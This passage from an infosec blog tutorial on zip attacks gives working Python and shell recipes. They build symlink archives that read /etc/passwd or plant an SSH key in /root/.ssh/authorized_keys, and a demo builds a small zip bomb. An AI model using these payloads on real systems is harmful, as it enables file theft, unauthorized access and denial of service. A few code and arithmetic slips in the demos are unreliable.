&lt;h4 id=&quot;diy-build-your-own-zip-symlink-payload&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#diy-build-your-own-zip-symlink-payload&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; DIY: Build your own Zip Symlink Payload!&lt;/h4&gt;
&lt;details&gt;&lt;summary&gt;With Python&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;Like before, we can use Python to generate zip symlink payloads. We&#39;ll need some extra massaging with &lt;code&gt;ZipInfo&lt;/code&gt; though.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# evil-link-file.zip&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# └── passwd.txt         -&amp;gt; /etc/passwd&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZipFile&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;evil-link-file.zip&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; compression&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZIP_DEFLATED&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;# This creates a file symlink named `passwd.txt` which links to `/etc/passwd`.&lt;/span&gt;
  info &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZipInfo&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;passwd.txt&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  info&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;create_system &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Linux =&amp;gt; 0. Windows =&amp;gt; 3.&lt;/span&gt;
  info&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;external_attr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;stat&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;S_IFLNK &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0o777&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# File attributes.&lt;/span&gt;
  &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;writestr&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;info&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# /etc/passwd is the file we want to read.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;To construct a dir symlink attack, we change the path in &lt;code&gt;zip.writestr&lt;/code&gt; to a directory. We also use &lt;code&gt;zip.write&lt;/code&gt; to add a source file.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# evil-link-dir.zip&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# └── dirlink/           -&amp;gt; /root/.ssh/&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#     └── authorized_keys&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZipFile&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;evil-link-dir.zip&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; compression&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZIP_DEFLATED&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  info &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZipInfo&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;dirlink&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  info&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;create_system &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
  info&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;external_attr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;stat&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;S_IFLNK &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0o777&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;
  &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;writestr&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;info&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/root/.ssh/&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;# Add an file from our filesystem. (Not a symlink.)&lt;/span&gt;
  &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;write&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;my-ssh-key.pub&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;dirlink/authorized_keys&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;For a double symlink attack (file symlink + dir symlink), we just combine the two methods and create two symlinks.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# evil-link-dir.zip&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# └── dirlink/           -&amp;gt; /some/readable/directory/&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#     └── passwd.html    -&amp;gt; /etc/passwd&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZipFile&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;evil-link-dir-file.zip&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; compression&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZIP_DEFLATED&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;# Order matters! Write dir first, then file.&lt;/span&gt;
  info &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZipInfo&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;dirlink&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  info&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;create_system &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
  info&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;external_attr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;stat&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;S_IFLNK &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0o777&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;
  &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;writestr&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;info&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/some/readable/directory/&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  info &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZipInfo&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;dirlink/passwd.html&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  info&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;create_system &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
  info&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;external_attr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;stat&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;S_IFLNK &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0o777&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;
  &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;writestr&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;info&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;details&gt;&lt;summary&gt;With Shell Commands&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;Shell commands also work. (Make sure to use &lt;code&gt;-y&lt;/code&gt;/&lt;code&gt;--symlinks&lt;/code&gt; when zipping symlinks. Otherwise, you&#39;d be adding your actual &lt;code&gt;/etc/passwd&lt;/code&gt;!)&lt;/p&gt;
&lt;p&gt;Double symlink payload construction:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token output&quot;&gt;Create our (soft) links.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;ln&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-s&lt;/span&gt; /some/readable/directory/ dirlink&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;ln&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-s&lt;/span&gt; /etc/passwd dirlink/passwd.txt&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Zip the links. (Order matters!)&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;zip&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-y&lt;/span&gt; evil-link-dir-file dirlink dirlink/passwd.txt&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Note that this approach will leave leftover files.&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;h4 id=&quot;limitations-of-zip-symlink-attacks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#limitations-of-zip-symlink-attacks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Limitations of Zip Symlink Attacks&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Permissions on Linux.
&lt;ul&gt;
&lt;li&gt;To create a symlink, we need execute permissions in the source directory (where the linked file is located) and write/execute permissions in the target directory (where the symlink is created).&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;Reading a symlink requires execute permissions in the source directory, and read permissions on the source file.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Permissions on Windows. By default, only Administrators have the privilege to &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/create-symbolic-links&quot;&gt;create symbolic links&lt;/a&gt;. This setting can be changed by &lt;a href=&quot;https://superuser.com/a/105381&quot;&gt;editing the local group policy&lt;/a&gt; or by directly enabling &lt;code&gt;SeCreateSymbolicLinkPrivilege&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Although symlink attacks are cool and all, they&#39;re relatively rare (in the wild) compared to Zip Slip. Perhaps symlinks are handled with extra care.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;zip-bombs&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#zip-bombs&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Zip Bombs 💣&lt;/h3&gt;
&lt;p&gt;Since we&#39;re talking about attacks, let&#39;s also cover zip bombs for completeness.&lt;/p&gt;
&lt;p&gt;Zip bombs are designed to cripple computers, systems, and virus scanners (rather than read sensitive data or escalate privileges, like Zip Slip and symlink attacks). Much like the well-memed &lt;a href=&quot;https://en.wikipedia.org/wiki/Fork_bomb&quot;&gt;fork bomb&lt;/a&gt;, a zip bomb attempts to drain system resources.&lt;/p&gt;
&lt;div class=&quot;center rw mb-2 h-auto lightbox-gallery&quot;&gt;
&lt;a class=&quot;&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/68j4sr9h3dg21-1080w.webp&quot;&gt;&lt;img class=&quot;multi&quot; src=&quot;https://trebledj.me/img/68j4sr9h3dg21-1080w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;width:28.52%;aspect-ratio: auto 1080 / 1070&quot; alt=&quot;undefined&quot; title=&quot;undefined&quot; srcset=&quot;https://trebledj.me/img/68j4sr9h3dg21-256w.webp 256w, https://trebledj.me/img/68j4sr9h3dg21-512w.webp 512w, https://trebledj.me/img/68j4sr9h3dg21-1024w.webp 1024w, https://trebledj.me/img/68j4sr9h3dg21-1080w.webp 1080w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1080px&quot; /&gt;&lt;/a&gt;
&lt;a class=&quot;&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/r_674011_CfdZB-627w.webp&quot;&gt;&lt;img class=&quot;multi&quot; src=&quot;https://trebledj.me/img/r_674011_CfdZB-627w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;width:35.5%;aspect-ratio: auto 627 / 499&quot; alt=&quot;undefined&quot; title=&quot;undefined&quot; srcset=&quot;https://trebledj.me/img/r_674011_CfdZB-256w.webp 256w, https://trebledj.me/img/r_674011_CfdZB-512w.webp 512w, https://trebledj.me/img/r_674011_CfdZB-627w.webp 627w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 627px&quot; /&gt;&lt;/a&gt;
&lt;a class=&quot;&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/unzip42-523w.webp&quot;&gt;&lt;img class=&quot;multi&quot; src=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/unzip42-523w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;width:30.98%;aspect-ratio: auto 523 / 477&quot; alt=&quot;undefined&quot; title=&quot;undefined&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/unzip42-256w.webp 256w, https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/unzip42-512w.webp 512w, https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/unzip42-523w.webp 523w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 523px&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Some fork bomb memes. And zip bomb memes adapted from fork bomb memes. Zip bomb memes where?&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fn3&quot; id=&quot;fnref3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;The basic principle abuses the &lt;em&gt;&lt;strong&gt;deflate&lt;/strong&gt;&lt;/em&gt;&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fn4&quot; id=&quot;fnref4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt; compression format to achieve compression ratios of up to &lt;a href=&quot;https://stackoverflow.com/a/16794960/10239789&quot;&gt;1032:1&lt;/a&gt;. This means after compression, every byte of compressed data can represent &lt;em&gt;up to&lt;/em&gt; 1032 bytes of &lt;em&gt;uncompressed&lt;/em&gt; data.&lt;/p&gt;
&lt;p&gt;Zip bombs approach this ratio by compressing a file with highly-repetitive patterns (e.g. all zeros) which can be counted and grouped compactly.&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;Why are highly-repetitive patterns &#39;easier to compress&#39;?&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;To see why repetitive patterns facilitate compression, consider an analogy with run-length encoding. If we want to compress &lt;code&gt;1111222233334444&lt;/code&gt;, we would say &lt;code&gt;four 1s, four 2s, four 3s, four 4s&lt;/code&gt; which has a compression ratio of 12 characters to 8 words. But if we want to compress &lt;code&gt;1111111111111111&lt;/code&gt;, we would say &lt;code&gt;twelve 1s&lt;/code&gt;, which has a higher compression ratio of 12 characters to &lt;em&gt;2&lt;/em&gt; words.&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;The well-known &lt;a href=&quot;https://web.archive.org/web/20250126204307/https://unforgettable.dk/&quot;&gt;42.zip&lt;/a&gt; bomb is only 42KB, but contains 5 layers of zips upon zips. Unzipping the first layer yields a harmless 0.6MB. But recursively uncompressed, it yields an astronomical payload of &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;4,503,599,626,321,920 bytes, to be exact&quot;&gt;4.5PB (petabytes, 15 zeros)&lt;/abbr&gt;!&lt;/p&gt;
&lt;p&gt;Most decompression tools and virus scanners are wary of zip bombs, and only unzip the first (few) layers or stop after identifying a zip file.&lt;/p&gt;
&lt;p&gt;In 2019, David Fifield introduced &lt;em&gt;a better zip bomb&lt;/em&gt;, which abuses the structure of a .zip, toying with metadata to trick decompressors into puking ungodly amounts of data.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fn5&quot; id=&quot;fnref5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt; A 42KB, compressed Fifield zip bomb yields 5.4GB of uncompressed bytes. This is just the first level of decompression! This metadata trickery is more generally known as &lt;strong&gt;Metadata Spoofing&lt;/strong&gt;.&lt;/p&gt;
&lt;h4 id=&quot;diy-build-your-own-zip-bomb&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#diy-build-your-own-zip-bomb&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; DIY: Build your own Zip Bomb!&lt;/h4&gt;
&lt;p&gt;Here&#39;s a small demo on a Linux shell:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token output&quot;&gt;Create a blank file with 5GB of null bytes.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;dd&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;/dev/zero &lt;span class=&quot;token assign-left variable&quot;&gt;bs&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;20000&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;250000&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;zero.txt&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Zip it.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;zip&lt;/span&gt; test.zip test.txt&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Count the number of bytes.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;wc&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-c&lt;/span&gt; zero.txt zero.zip&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; 5000000000 zero.txt&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; 4852639 zero.zip&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; 5004852639 total&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;From 5GB, we&#39;ve gone down to ~4.9MB! A few of these could exhaust most virtual machines.&lt;/p&gt;
&lt;h2 id=&quot;zip-vulnerabilities-in-the-wild&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#zip-vulnerabilities-in-the-wild&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Zip Vulnerabilities in the Wild&lt;/h2&gt;
&lt;p&gt;Here are some notable zip vulnerabilities in the past decade:&lt;/p&gt;
